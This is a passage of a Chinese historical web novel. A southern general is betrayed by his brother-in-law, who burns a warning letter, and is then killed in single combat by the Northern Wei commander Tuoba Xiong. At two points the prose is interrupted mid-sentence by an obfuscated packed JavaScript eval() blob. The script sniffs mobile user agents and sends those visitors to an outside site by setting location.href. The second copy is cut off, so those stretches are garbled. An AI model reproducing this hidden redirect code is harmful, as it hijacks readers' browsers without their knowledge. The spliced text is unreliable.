“父亲,海晏认为两位姑父所言极是。我军逼近洛阳,北魏皇帝拓跋睿必定下令让拓跋雄班师救援洛阳,如此一来,庐江之围自解。”宋海晏在帐前跪下,双手抱拳,恳切道,“恳请父亲允准海晏领军北上,海晏必定小心谨慎,但凡军事要务,必定先请教舅舅和诸位叔伯,然后再下令施行。” 宋寒章的目光从帐中诸将脸上一一扫过。听到宋海晏这番话,大多数人脸上都露出希望之色。宋寒章心中一叹,中原沦陷已两百年,若能收复洛阳,将来论功行赏,座中之人皆可飞黄腾达,光宗耀祖,他若强令撤军,难免诸将不满。 他再三权衡,最后看向跪立帐前的儿子,道:“宋海晏听令,命你暂替中军主帅之职,领四万兵马,与西路军会和,继续北伐。” 宋海晏一双眼绽放出曜然神采,声音铿锵:“是!” 42. 第二十四章 人心如此 大策既定,之后便是如何分军的问题。赵家根基在寿春,紧邻淮水,一旦拓跋雄南下,寿春就是冲突的最前沿,赵金镝的部曲大部分都愿意回家抗敌。而舒城在庐江西南,陆家的部曲更加愿意随军北上。 最终,宋寒章决意亲率宋氏军队一万五千人,再加上赵家部曲五千人,撤军回防,以迎击拓跋雄的大军。陆元恺、陆思明父子二人,则留下辅佐宋海晏。 临别之际,宋寒章忧心忡忡,自然少不得对宋海晏一番教诲,命他凡事多思,不可任性闯祸,不可肆意妄为。宋海晏心思,这磨耳朵的功夫至多不过一晚,也就忍下牢骚,不住称是。 次日清晨,两军分道。宋寒章率军按原路折返,宋海晏则率军西进鲁阳,欲与何长龄的大军会合。 两日后的黄昏,大军在鲁阳城外十里处安营扎寨。宋海晏与陆家父子及一众将军,骑马入城。 鲁阳城门口,落日余晖似金沙般倾洒而下,将整个城门笼罩在一片暖黄之中。 何长龄早已等候在鲁阳城门口。这位西路大军的主帅年约五旬,然发须乌黑油亮,瞧着与四十岁之人无异。他五官轮廓分明,剑眉浓密,眉下一双虎目炯炯有神。身着一袭威风凛凛的银色铠甲,腰间系着一条镶嵌宝石的黑色腰带,更衬得他身躯伟岸。在他身后,荆州军诸将整齐地列成两排。 远远地瞧见宋海晏一行身影出现,何长龄脸上绽放出一抹爽朗的笑容,大步迎上前去。 宋海晏急忙翻身下马,几步上前,单膝跪地,激动道:“阿舅,海晏可算见到您了!” 何长龄伸出双手,一把将宋海晏扶起,双手紧紧握住他的双臂,目光在他脸上来回打量,眼中满是欣慰与慈爱,大笑道:“好小子,都长这么高了,愈发英武不凡!让阿舅好好看看。” 此时,陆元恺、陆思明父子及一众中路军大将也纷纷下马,走上前来向何长龄行礼。何长龄笑着一一还礼,又将荆州诸将介绍给宋海晏一行人认识。 一番寒暄过后,何长龄目光扫过众人,笑道:“诸位将军一路劳顿,我已备好酒菜,为大家接风洗尘!” 当晚,何长龄在城中设宴,款待宋氏军将。席间,珍馐满案,炙香四溢,觥筹交错,鼓乐喧天。宾主尽欢,自不必说。 宴毕,何长龄单独留下宋海晏。陆元恺深知他们甥舅重逢,必有许多话要说,便带着众将行礼告辞,返回城外军中。 西路军占据鲁阳之后,原来的鲁阳郡守弃城而逃,副将武元策不费吹灰之力便占据了鲁阳郡守府。他见郡守府园林精巧雅致,不敢入住,只每日命人洒扫,献予何长龄居住。 园林中有一座高达五楼的清露台,巍峨壮观。坐在台上,可仰观星汉,远眺西边的伏牛山。何长龄带着宋海晏登上清露台,命人设下坐席,搬来泥炉,备好银壶和银盏,亲自煎茶。 适逢夏夜,天上银河如玉带高悬,流光漫浸,露台仿若琉璃界,明澈如洗。 何长龄已换了一身轻便的轻縠宽袍,他挽起袖口,碾茶、注水,再以银匙轻轻搅动,动作如行云流水,流畅无比,宛若山野闲居的文人雅士。若非亲眼得见,让人绝难相信眼前之人便是掌握荆州水师,扼守大楚西北之境的军中名将。 茶香袅袅浮起,何长龄将银盏推至宋海晏座前,问道:“阿晏,你昨日遣人送信,说拓跋雄率邺城兵马南下,你父亲分兵回庐江,中路大军如今由你率领。其中详细情形如何,说与舅父听听,容我参详参详。” “是。”宋海晏便将当日如何收到宋碧棠的书信,军中诸将如何商议,一一向舅父细细道来。 何长龄听了,沉吟片刻,道:“你父亲的担忧不错,不管北伐战事如何发展,我们这些世家,需得保住自家在地方上的基业,再图其他——” 宋海晏心中满是迷茫,朝廷兴大军北上,收复故都在此一举。在此关键时刻,父亲和舅父却都认为,保存家族实力更为重要,他不禁问道:“舅父,中原沦陷已两百年。若世家人人都因私忘公,何日才能收复北方故土?” 何长龄端起茶盏,啜了一口,问道:“阿晏,北方故土是因为宋何两家沦陷的吗?” 宋海晏陪饮一杯,道:“当然不是。”宋何两家世居南方,非但和北方国土沦陷毫无关系,还令胡马不敢继续南下,实有大功于社稷。 何长龄又问:“北方国土无法收复,对你我两家有什么影响吗?” 宋海晏轻轻摇头。 何长龄笑道:“所以北方收复与否,与我们何干?武者在沙场效命,所求不过是封侯拜将——如今你父亲坐拥一郡之地,封长丰县侯,领军数万,便是皇上和太皇太后也得看他几分颜面,夫复何求?” 他手按银壶,往杯中续水,声如泄玉:“阿晏,如今此处只有你我甥舅二人,阿舅说句大不敬的话,自晋室南迁,如今南方已历五朝,百年之后,萧氏皇族未必仍居金陵宫中,但你我两家,依旧是江汉、江淮的豪族。” 宋海晏从来没想过这些,拿着杯子的手停在唇下。 茶杯滚烫,灼得他手指发红,他却丝毫未觉。他望向自己的舅父,问道:“可是阿舅,为了这场大战,国库一空,江南各郡今年赋税加了整整两成。此皆因南人有北望之心,我等既负皇命,又怎能不尽心用命?” 何长龄长叹一声,道:“阿晏,实话告诉你,这次北伐,就算你我两家精锐尽出,北伐成功的希望也不到五成。如今你父亲离去,少了两万人马,成功的希望已不足三成……” 宋海晏怔道:“为什么?” 何长龄道:“因为朝中有人并非真想北伐。” 宋海晏追问:“何人?” “还能有谁?”一壶水已煮尽,何长龄往银壶中添水,又往火炉中加入木炭,再用蒲扇扇去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408605|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂烟,将银壶置于炉火上,须臾,便又听到壶底水响之声。 “兵贵神速,若非齐家在军粮上刁难,你我两军如今早已抵达洛阳城下。若齐栋能在淮北拖住拓跋雄,你父亲便不必率军回援。齐家自己不擅军务,又怕你我两家先入洛阳,占了大功,是以处处掣肘。人心不齐,北伐之事又怎能成功?”何长龄微微一叹,声音几不可闻,“阿晏,撼泰山易,撼人心难啊——” 何长龄站起身来,拉着他走到露台边缘,凭倚着雕栏,手指西边起伏的伏牛山脉,道:“阿晏,过了那边伏牛山便是洛阳地界。两百年来,江南之地难道缺少精兵良将,满朝文武难道不存有志北伐之人?可又有谁真正攻入洛阳?阿晏,并非前人不如你我。实是两百年来,人心从来如此……” 手中茶水已冷,宋海晏勉强咽下,今日率军入城的一腔沸血也凉了大半。他咂摸着唇齿间的一抹苦味,问道:“阿舅既然对北伐之事如此悲观,又为何同意兴兵?” 何长龄轻轻拍了拍他的肩膀,道:“阿晏,你父亲早早送你上战场磨炼,磨出了你一身勇武。但他为人忠直厚道,却是误你。” “荆州古来便是四战之地,这两百年荆州城头不知换过多少位主人,但我们何家始终在荆州占有一席之地,只因何家的祖训六字‘知时、度时、用时’……” 何长龄目光一瞬间变得深邃起来:“你们年轻人或许觉得迂腐,但审时度势,乃是在乱世中保身的道理。当日朝廷决议兴兵,若我何家提出反对,又如何能在江陵立足。北伐之战,朝廷供给钱粮,我何家也损失不了什么,若能经略南阳,将北方防线向北推进,便是莫大收获了。至于光复洛阳,实话说,阿舅我不敢有此奢望……” 宋海晏听了此言,一颗心如同泡在冰水里,再也腾不起一丝热气。 他咬紧了牙,浑身紧绷,问道:“阿舅,我若一定要攻入洛阳呢?” 何长龄面露讶异之色:“莫非阿晏也有北伐之志?” 宋海晏道:“不行吗?” 何长龄道:“并非不行。” 宋海晏心中重新燃起了一丝希望。 “阿晏,你若想要北伐功成,唯有一条路。”何长龄声音低沉下来,多了一缕肃杀之气,“便是如同四十年前大楚开国皇帝萧胥一般,提兵横扫江南。将天下钱粮兵马,尽皆纳于你一人之手,谁若不服,你便杀谁。如此你再无后顾之忧,自然可以提兵北上。但到了那时,你便不再是什么征北将军,金陵的御座该换个主人了。” 夜风吹拂,何长龄一身宽袍广袖随风鼓荡,他目光烁烁,锁住外甥双眸:“阿晏,你要是真有如此想法,阿舅倒是可以全力襄助于你——” 宋海晏心中悚然,手中银杯坠地,在地上滚了一圈。 他拾起茶杯,又听何长龄哈哈一笑道:“阿晏,阿舅同你开玩笑,你不必往心里去——” 43. 第二十五章 狭路相逢 次日午后,何长龄将荆州诸将与庐江诸将合于一处,商议进兵之事。 他立在巨大的舆图前,以清晰的笔触在舆图上勾勒出敌我态势,何处山川险要,何处兵力部署,皆一目了然。接着又条理分明地阐述作战策略,从正面强攻的时机,到侧翼迂回的路线,再到后方补给的安排,无一遗漏,座中诸将时不时信服点头。 当这位西路军主帅看向众人时,人人都能感知到他目光中鼓舞人心的力量,那是对胜利一往无前的决心。陆元恺私下对自己的儿子陆思明道:“咱们宋将军有勇略,荆州何都督有韬略,两人各擅胜场。” 宋海晏心中渐生迷惘,何长龄的言谈和眼神中,丝毫没有对北伐之战的悲观态势,仿佛昨夜甥舅煮茶深谈,只是他一场荒诞不经的梦。 商议之后,两军决定兵分三路,荆州军大将武元策分兵袭击嵩县,宋海晏率军攻汝州,何长龄率主力占领汝阳,成三路合围伊川之势,拔除洛阳城南这最后的据点。 七月十一日。 宋海晏率军到达汝州城下,经过一昼夜的鏖战,占领了这座洛阳东南的小城。次日,捷报传来,西路军也按计划拿下嵩县、汝阳两城。 *** 庐江郡。 宋氏大宅。 赵松声一身玄甲,领着一队守卫巡视宋氏大宅。 赵松声出身寿春赵家,是赵金镝的次子。他与宋海晏同年,只小几个月,自幼便长在庐江,同宋海晏、陆思明一起长大。三人情谊深厚,宛如亲兄弟。在他十二岁时,宋寒章将当时年方十岁的表妹宋碧棠许配给他。自那时起,宋碧棠在他心中便有了特殊的位置。 去年宋碧棠十五岁及笄,两家的婚事也提上日程。按照宋家原本的计划,去年年底为长子宋海晏求娶长乐公主之后,就筹备宋碧棠和他的婚礼。 不料长乐公主夭亡,宋海晏的婚事不谐,连带着他和宋碧棠的婚事也一起耽搁了下来。赵松声也并不着急,赵家与宋家世代为姻亲,又有婚约为凭,碧棠成为他的妻子不过是时间问题。虽然婚礼未成,但宋寒章和何夫人平日里都将他当作女婿一般看待,关怀备至。 如今,朝廷下令北伐,宋海晏、陆思明都随军北上,赵松声选择了留下,自告奋勇来领守卫宋氏大宅的职责。他是家中次子,将来寿春的家业自有长兄继承,他并没有那么大的野心。比起建功立业,他更愿意陪在心上人身边,守护她的安全。 如今庐江城空虚,宋寒章将庐江城的防务交给族弟宋平章。但宋家成年男子出征,内宅中留下的皆是老幼妇孺,确实急需一个信得过的人来守护周全,宋寒章思索再三,允准了赵松声的请求。 赵松声带队走过二门,见宋家老仆宋吉脚步匆匆,往内苑而去,他将人叫住,问道:“宋吉,出什么事了?” 宋吉听到呼喊,匆忙定住脚步,转过身来。见是赵松声,赶忙恭敬行礼,回答道:“姑爷,是来自北方的信件,还有最近的军报,我正要给女郎送去。” 赵松声道:“我正要去找阿棠,将东西给我,我亲自送去。” “是。”宋吉连忙将信件递到赵松声手中,再次行礼之后,才转身匆匆离去。 赵松声命卫兵们继续认真巡视,自己则小心翼翼地将信件塞入袖中。他顺手打开军报,目光快速扫过上面的文字,大致了解了一番。随后,他步伐轻快地穿过楼台回廊,朝着宋碧棠居住的院落走去。 宋碧棠的居所极为宽敞,规模比宋海晏、宋陆丰这一对兄弟的院落加起来还要大上许多。除了用于居住的灵雏楼之外,四周还零零散散分布着几个工坊。这位宋氏的女公子自小便对各种军中器械感兴趣,常常钻入工坊之中,捣鼓这些物件。她改造了宋氏军中所用的弓箭,使之射程更远,劲力更大。宋海晏使用的箭管中空的镔铁箭也是出自她的发明。 但从北伐大战爆发以来,宋碧棠便很少再有时间花费在研究军械上了。她亲自动手,在自己的房间里制作了一个巨大的沙盘,还特意命人四处收集各种情报,每日都会根据这些情报,在沙盘上认真推演战争的走势。 赵松声步入灵雏楼,见宋碧棠着一身浅碧褶裙,正跪坐在沙盘前。她神情专注,盯着沙盘上的山川城池,眼都不眨。 听到熟悉脚步声,宋碧棠并没有回头,问道:“表哥,有北方的消息了吗?” 赵松声将宋寒章的亲笔信递了过去,在她身旁坐下。宋碧棠拆开信件,飞快地读完,蹙眉道:“父亲率领二万大军回援,阿兄带四万大军继续西进洛阳……” 她用手移动沙盘上的小旗,问道:“如今拓跋雄的大军哪里了?” 赵松声答道:“之前我们的大军渡江之后,已经将淮北的舟船都划回了南岸,如今拓跋雄找不到船只渡江,仍然驻留在江北的凤台一带。” “这也阻不了他们多久,他们早晚会找到足够渡江的渡船。”宋碧棠的目光望着沙盘中淮水北岸,问道:“表哥,齐家率领的东路大军有消息了吗?” “有。”赵松声将才看到的军报在脑海中过了一遍:“根据最新的战报,东路军如今已经到了豫州的陈留。” “这么快?”宋碧棠脸上露出迟疑的神色,她的手再次伸向沙盘,将代表东路军的蓝色小旗从淮北一带挪动到地图上陈留的位置。 忽然,她神色一变,自语道:“拓跋雄的军队人数只怕不止两万骑兵。阿爹只带回两万大军,恐怕不足以抵挡拓跋雄的大军。我要写信给阿兄……不,现在给阿兄写信也来不及了……” 她白里透红的脸庞瞬间转为煞白,眼中满是焦急。 赵松声讶然道:“根据斥候传回的情报,拓跋雄所辖邺城兵马一共只有两万呀?” 宋碧棠摇头,用手指向沙盘中心处,语速极快,“十天前,齐家大军还在淮北的夏丘,从夏丘到陈留,中间有三座城池,均有不少驻军,加起来接近两万之数,他们能在十日之内行进至此,说明这一路上齐家的军队没有遇到北魏的任何抵抗……” 宋碧棠说着,缓缓闭上了眼睛,深吸一口气,复又睁开,“表兄,我有一个不好的猜测,你说有没有一种可能,拓跋雄在南下的路上收拢了这两万人,连着邺城的两万骑兵,一起冲我们庐江来了?” 赵松声大吃一惊:“不会吧——” “现在传信给阿兄已经来不及了,我必须想另外的办法……”宋碧棠走到书桌前:“豫章王有五千兵马驻扎在湓口,这是离庐江最近的军队了……” 她飞快地取出纸,边写边交代道:“表兄,你立刻派出信使,将这封信送往豫章湓口那边……” “好。” “等等,我再写一封信给阿父,提醒他注意拓跋雄的兵力可能超过预期,不要中了敌人的埋伏。” 她匆匆提笔,又写了一封家书,将信密封,交给赵松声。赵松声知道兹事体大,拿着两封信飞快离开。 赵松声离开之后,宋碧棠心中仍突突直跳。若拓跋雄大军渡过淮水,首当其冲的就是寿春。寿春城两面环水,一面环山,是淮南抗击北魏的第一线,也是一块极难啃的骨头,北方大军多次折戟寿春城下。但从寿春到庐江,实在无险可守,如果拓跋雄绕过寿春,直接南下庐江,后果不堪设想。 她想了想,决定去寻自己的堂叔宋平章。 宋平章是宋氏宗亲,深得宋寒章信任,从前在庐江郡任别驾从事,总理钱粮、后勤诸务。如今宋寒章领兵北伐,庐江城的大小事务就暂时交由他负责。但宋平章平日甚少接触军务,对军事并不熟稔,宋寒章临行之前,曾言若有不决之处,可与侄女宋碧棠商议参详。 宋平章曾见过侄女改造过的长弓和镔铁箭,对这位年方十六岁的少女心中也极佩服。可此刻她的建言实在太过荒诞。 他瞠目结舌,几乎不敢相信自己的耳朵,“碧棠,你说什么?” 宋碧棠将刚才的话重复了一遍:“叔父,侄女以为,拓跋雄极有可能绕过寿春,径直南下庐江。如今庐江仅有五千老弱兵马,守是守不住的。请叔父下令,将庐江城内百姓尽数迁出,疏散至各处修筑妥当的坞堡之中。但凡能食用、能使用、能携带之物,皆一并带走。实在难以携带的贵重物品,尽数深挖坑洞掩埋。此事务必要在三日内完成,若迟了,恐就来不及了。此外,还请叔父选派可靠之人,将母亲与弟弟送往江陵我舅舅家暂且避难。” 她甚至用上了“避难”这般字眼,而少女说得极为郑重,绝无半分玩笑之意。 宋平章表情凝重起来,目光如铁般沉沉压在宋碧棠脸上,“你是说要舍弃庐江城,这如何使得?庐江乃我宋家之基业,历经两百年修筑才有今日之规模,难道就要这般拱手送人?依叔父之见,莫不如再等等看。拓跋雄眼下尚未渡江,即便渡江,还有寿春在前阻挡。叔父以为,我们不必急于迁出百姓,且再观望观望……” 宋碧棠道:“叔父,侄女亦盼是自己多虑了。或许此番也同往昔一般,我宋家能将敌军阻于淮水南岸,不使兵祸蔓延至庐江城。然凡事预则立,不预则废。如今父亲与兄长在外,将庐江城托付于你我二人,我们不得不做最坏的打算。此刻迁出百姓,若过个十几二十日,并无战事发生,可再令他们迁回。但若此刻不迁出,待拓跋雄兵临庐江城下,一切便都来不及了。” *** 夜幕低垂,月悬云幔之上。 月光照耀在淮水之下,漾起一江清雾,东去的沧流洪涛在此刻也变得静谧清冷。 在淮水南岸,一支大军正在安营扎寨。这支军队五天前从许昌城出发,经过每日七十里的急行军,于今晚渡江,方才赶回淮水南岸的据点。大军修整一夜,明日便可到达寿春。根据斥候昨日传回的情报,拓跋雄大军因缺少舟船,还未渡江,他们或许还来得及阻敌于淮水两岸。 宋寒章骑马绕行营地一圈。 大军在外,晚上疲惫,是最危险的时候,营地防卫不能有任何松懈,他每晚睡前都会亲自视察营地,确保万无一失。 赵金镝寻宋寒章议事时,见一个名叫周穗的士兵站在帐前。这人赵金镝有几分熟悉,他是宋家的斥候,此次大战他往来庐江与中军之间,送过多次重要的信件,立下不少功劳。 赵金镝走上前去,亲切地打招呼:“周穗,可是庐江方面又有新消息了?” 周穗见是赵金镝,立刻立正行礼,恭敬回道:“是女公子碧棠的亲笔信,特地送来给我们家将军。” 赵金镝心中一动,面上却不动声色,温和说道:“将军巡营去了,不知何时回呢。你一路骑马赶来,必定疲累,不如先将信给我,我替你转交,你自去休息吧。” 周穗本就是从赵松声手中接过这封信,而赵金镝是赵松声的父亲,在他看来,交给赵金镝与交给将军并无区别,便没有丝毫犹豫,将信件递了过去,感激道:“那就麻烦赵将军了,我确实有些乏了,先去休息了。” 赵金镝回到自己的营帐,将那写着“父亲大人尊前安启”的家信拆开,将里面的内容看了一遍。他想了想,将这封信放在烛火上,火苗浸过,柘黄色的信纸很快燃成灰烬。 宋寒章巡察完营地,回到营帐附近,就见赵金镝在帐外焦急地来回踱步,像是等了很久。宋寒章停下脚步,开口问道:“金镝,找我有何事?” 赵金镝听到声音,连忙转身,语气急切:“末将刚刚收到寿春传来的重要情报,特来与将军商议。” 宋寒章微微挑眉,伸手掀开营帐的帘子,说道:“先进来说。” 两人进入营帐,宋寒章点燃灯火,听赵金镝奏道:“据信,拓跋雄部从今天下午开始渡江,他们的先锋营如今正驻扎在寿春城西十五里处,但是并未攻打寿春城,只是在外围游弋。我们的人抓了对方一名斥候,拷问之后,得知了一条重要情报。上次战事中,被我军杀死的北魏大将拓跋兴是拓跋雄的亲弟弟,拓跋雄这次南下,就是为了替弟弟报仇。他并没有攻打寿春的计划,而是打算趁如今庐江城内空虚,直接攻打庐江城——” 宋寒章眉梢微动,他将灯火凑近几案上的行军图,在地图上标注出拓跋雄部渡江的位置,陷入沉思。 但凡长途行军,尤其是南征北伐这种动辄几百上千里的长途行军,一向重视攻城略地,带走城中所有的军资和粮草,并不会漏掉行军路线上的重要城镇。否则,城内的敌人重新组织起来,从大军的后方冒出来,极易形成夹击之势。一旦粮道被截断,这只军队就成了深入敌后的孤军,很容易被击溃打散,但凡有经验的将领,都不会这么做。 基于此节,他们原本的计划是撤军回到淮南,依托淮南地区修筑的坞堡以及密布的水道,与拓跋雄的大军展开拉锯战。去年秋冬,他们就是凭借这种战术,成功拖垮了拓跋兴南下的大军。但如果拓跋雄真的打算趁庐江空虚,突袭庐江,那么他们的作战方案就得改一改了。 第一种方案,是放弃庐江城,实行坚壁清野策略,将庐江及周边的军民、粮草、物资全部迁入坞堡,凭借堡寨的坚固防御,与敌军周旋。待拓跋雄大军粮草耗尽,他们再集中全部兵力主动出击,有很大把握将敌军全歼在淮南。不过,这样做的代价也很大,宋家经营了两百年的庐江城必将遭受重创。而拓跋雄大军也会四处劫掠,地里的秋粮多半颗粒无收。而今年因为北伐战事,庐江原本就没有多少存粮,若秋粮绝收,到了冬天,必定会有百姓冻饿而死。 第二种方案,是在拓跋雄南下的必经之路上提前设伏,截住这支大军。若能一击即中,便可成功阻挡拓跋雄大军南下的步伐。之后,主力大军撤入庐江城,凭借坚固的城防死守。拓跋雄久攻不下,自然会选择撤军。 想到这里,宋寒章看向赵金镝,问道:“金镝,你对此有何看法?” 赵金镝挺直腰杆,道:“将军,末将认为当下最好的办法,是将敌军阻挡在庐江之外,全力保住庐江重镇。若此计不成,再考虑其他办法。咱们淮南地区水网密布,沼泽沟渠纵横交错,敌军的骑兵难以施展优势。” 说着,他伸出手指,在地图上一处沼泽区域点了点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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副将姚史提醒道:“将军,需谨防敌人设有埋伏。” 拓跋雄冷哼一声,冷冷说道:“哼!我三弟拓跋兴,去年丧生于宋家老贼之手,尸体还被献至金陵,遭楚人鞭挞侮辱,此仇不共戴天!如今上天将这报仇的机会放在我眼前,我定要斩下宋寒章的头颅,悬于马前,祭奠我亡弟,以消此心头之恨!” 恰在此时,陂塘草色晃动,地上骤然升起无数绊马索。刹那间,冲在最前的十余骑战马嘶鸣着向前栽倒。后方骑兵收势不及,战马受惊,向两侧闪避时,踏入堤岸两旁的淤泥之中。淤泥瞬间没至马腹,越是挣扎,陷得越深。 “起阵——” 一声暴喝自芦苇荡中炸响,原本死寂的沼泽突然翻涌起无数黑影。身缠水草的庐江士兵从泥淖中暴起,手中钩镰枪专斩马腿,陷在沼泽里的拓跋骑兵挥刀乱砍,却见庐江士兵一个猛子扎入浊水,再出现时已拽着骑卒的腿将人拖下马背。 两军于芍陂西岸连绵数里的沼泽之地展开厮杀。庐江军先发制人,又占据地利之便,北魏军则悍勇无畏,前军战死,后军继续向前施压,双方僵持不下。 庐江军主帅宋寒章立于附近一处土丘之上,眉头紧锁,遥望着远方那仍源源不断奔赴战场的北魏大军,心中泛起一丝不祥之感。北魏大军人数实在太多,黑影幢幢,绝不止两万之数。 宋家经营淮南多年,淮水两岸设有众多斥候暗探,用以侦察敌情。即便淮北据点丢失,情报无法及时传递,可拓跋雄大军渡江之后,也应有准确消息传来。 他猛地忆起,自己已多日未曾亲自见过传讯的斥候了,所有信报皆由赵金镝转交。赵金镝是他妹夫,又有儿女婚约,宋赵两家向来是最为坚定的同盟,他从未怀疑过赵金镝有何不妥。 然而,此时此刻,面对这黑压压如蝗群过境般的北魏大军,他心中隐隐闪过一丝异样之感。 他看向一旁的赵金镝,眼梢微冷,问道:“金镝,拓跋雄大军的人数恐怕不止两万之数,这几天难道没有信报传来吗?” 赵金镝用手指摩挲着剑柄,“将军,北魏索虏骁勇,这些天我们的斥候有不少被杀,消息有所疏漏,也未可知。” 对于一军主将而言,错估敌方实力,实乃致命失误,足以酿成无法挽回的后果。他们虽占地利,但敌方人数远超预估,此战结果殊难预料。 宋寒章思虑之际,见前方一骑从混战的大军中厮杀而出,顷刻已至阵前。 那人脸上覆着黄金面具,手中一杆镔铁长枪,枪缨被鲜血浸透,红得刺目。他勒住缰绳,战马人立而起,一声长嘶,夜风为之震荡。 “宋寒章!”来人扯下脸上黄金面具,露出一张刚毅冷峻的脸,正是北魏大将拓跋雄,“听说去年冬天,也是在这片沼泽中,你宋寒章射杀我弟弟拓跋兴,将他的尸体连同宝刀大夏龙雀一柄进献给你们吴儿皇帝,今日我拓跋雄为报仇而来,同为大将,宋将军可敢与我决一死战?如你胜我,我拓跋雄立刻退军如何——” 拓跋雄声如洪钟,在战场上滚滚传开,两军将士听闻,厮杀声竟都为之一滞。 宋寒章身旁诸将听闻此言,纷纷怒目而视,偏将李猛喝道:“将军,这拓跋雄狡诈,想引将军涉险,切不可答应!” “有何不敢?”宋寒章怒眉一沉,声音昂然,“取我枪来——” 他从拓跋雄那双阴鸷的眼眸看到刻骨的仇恨,也看到了他想以命赌命的决心。拓跋雄率军长驱几千里,就是冲着他宋寒章来的。 但他不可退避。 狭路相逢,其勇者胜。宋寒章掌军多年,深知此理。 今夜之战,敌军人数占优,如果拓跋雄叫阵,他避而不战,己方士气一泄,必定溃败。反之,如果他能斩敌主帅,攻守之势也将逆转。 两杆兵刃相撞的刹那,沼泽地里炸开一簇刺目的火星。 宋寒章的绿沉枪刚架住拓跋雄的长槊,枪杆突然传出细微的裂响。 宋寒章心中一惊,这柄枪他用了数十年,每次出征前都会精心保养,竟会在此关头突然断裂。这时,拓跋雄发出一声狞笑:“宋寒章,你是英雄,可惜你生不逢时,与奸佞同朝而不自知,与小人同伍而不自察。今日,你败得不冤——” 宋寒章骇然,问道:“你说什么?” 拓跋雄瞅准时机,猛地一记横斩,宋寒章不得已举枪格挡。然而,这一击力量太过强大,宋寒章只觉虎口一震,手中长枪“咔嚓”一声,从中断裂。拓跋雄趁势而上,长刀划过一道寒光,直逼宋寒章咽喉。宋寒章躲避不及,脖颈处鲜血飞溅,整个人从马上栽落,头颅也被拓跋雄顺势斩下。 拓跋雄拾起宋寒章的头颅,悬于枪尖上,高高扬起,哈哈大笑:“阿弟,兄长今日以仇人的头颅为你祭奠——” “将军!”庐江军将士们见状,齐声悲呼,声音响彻夜空。 赵金镝面色惨白,望着宋寒章的无头尸体,心中五味杂陈。此时,北魏大军趁势发起冲锋。赵金镝咬了咬牙,深知大势已去,再战下去,庐江军必将全军覆没。他颤抖着抽出佩剑,高高举起,声嘶力竭地喊道:“退兵!” 随着这声令下,庐江军残部纷纷转身,朝着后方奔逃。 44. 第二十六章 积韧千秋 第二日下午,庐江大军在鸬鹚泽大败,宋寒章被北魏大将拓跋雄斩首的消息传回庐江城。 议事堂内,宋平章听闻此讯,顿觉一阵天旋地转。宋寒章身为宋氏家主,亦是整个庐江郡的主心骨,于南北动荡的时局中,护得一方百姓安居乐业。其一生历经大小百余战,从未遭此惨败。 宋寒章一死,拓跋雄必挟大胜之威,兵临庐江城下。宋家乃至整个庐江的命运,恰似风雨中飘摇的孤舟,岌岌可危,究竟该何去何从? 宋平章太阳穴突突地跳,他勉强稳住心神,下令道:“来人,伺候笔墨,我现在就给少主写信,让他尽快率军回援庐江——” “等等。”门外传来少女清冷之声,只见宋碧棠脚步匆匆,步入议事堂。 宋碧棠显然也得知了昨夜的战事,刚刚哭过,眼睛还肿着。她强抑心中悲痛,看向那传回消息的士兵,问道:“将军是如何战死的?” 此士兵名叫宋洛,本属宋寒章亲卫营。昨夜大军溃散后,他于乱中抢得一匹马,一路疾驰,方将消息传回庐江。 宋洛垂泪道:“回禀女公子,三天前,将军率军渡过淮水,得知拓跋雄大军渡江的消息,赵将军建议在鸬鹚泽设伏,但拓跋雄兵力远超预期,大战僵持之际,敌酋拓跋雄在两军前叫阵,与将军搦战。战斗之中,将军枪杆断裂,遭拓跋雄斩首身亡。” “你说阿父的长枪断裂……这怎么可能……”宋碧棠下意识地摇着头,语气急促而笃定,“阿父的长枪枪杆是用积竹木柲所制,外部受力只会弯折,绝不会断裂——” 她深吸了一口气,“还有,你说拓跋雄的兵力远超预期。可是我分明已经给阿父写信,提醒他拓跋雄可能收编了淮北驻军,兵力或许达四万之众,难道阿父没有收到信吗?” 她侧过头,看向守在门外的赵松声,道:“表兄,上次送信的信使是谁,他回来了吗?” 赵松声道:“他前日就回到了庐江,我去叫他。” 不一会儿,周穗便在赵松声的带领下,匆匆赶到了议事堂,问道:“女公子,你找我?” 宋碧棠目光紧紧地盯着周穗,问道:“周穗,那封信你亲手交给将军了吗?” 周穗忆起那天晚上发生的事,道:“那天晚上,属下到中军大营时,大将军正在巡营,当时赵金镝将军在中军大帐外,他说让属下先回去,信件由他转交即可,属下便将信交给了赵将军。” 宋碧棠闻言,又将目光转向宋洛,问道:“你可知赵将军是否将信交到了我阿父手上?” “属下不知。”宋洛愣了一下,思索片刻后,又道:“不过昨夜两军交战之时,将军见北魏大军人数远超两万之数,曾询问赵将军关于信报的事。” “赵将军如何回答?” “赵将军回答说,北魏军骁勇,我们的斥候损失不少,消息可能有所疏漏。”宋洛如实答道。 宋碧棠眼眸一冷,寒光闪烁,又问:“你方才言是赵金镝将军向阿父建言,在鸬鹚泽设伏?” 宋洛用力地点头,肯定道:“正是。” 宋碧棠身体微微颤抖,目光落在身旁的赵松声身上。 她突然高喝一声:“来人,先将赵松声绑了,关入地牢——” 赵松声万没想到事态会如此发展,他大声惊呼道:“阿棠,我阿父绝没有理由背叛大将军,这其中一定有所误会。” “表哥,我也希望其中有误会,我自会尽快彻查此事。若赵将军清白无辜,我自会放你出来,只是在此之前,便只能委屈表兄你了。”宋碧棠咬了咬下唇,眼中闪过一丝不忍,旋即敛去。 宋平章大惊失色。 赵松声乃宋碧棠未婚夫,数月以来,负责守护宋氏内宅,兢兢业业,从未出过一丝差错。他钟情宋碧棠,对宋家亦是忠心耿耿。 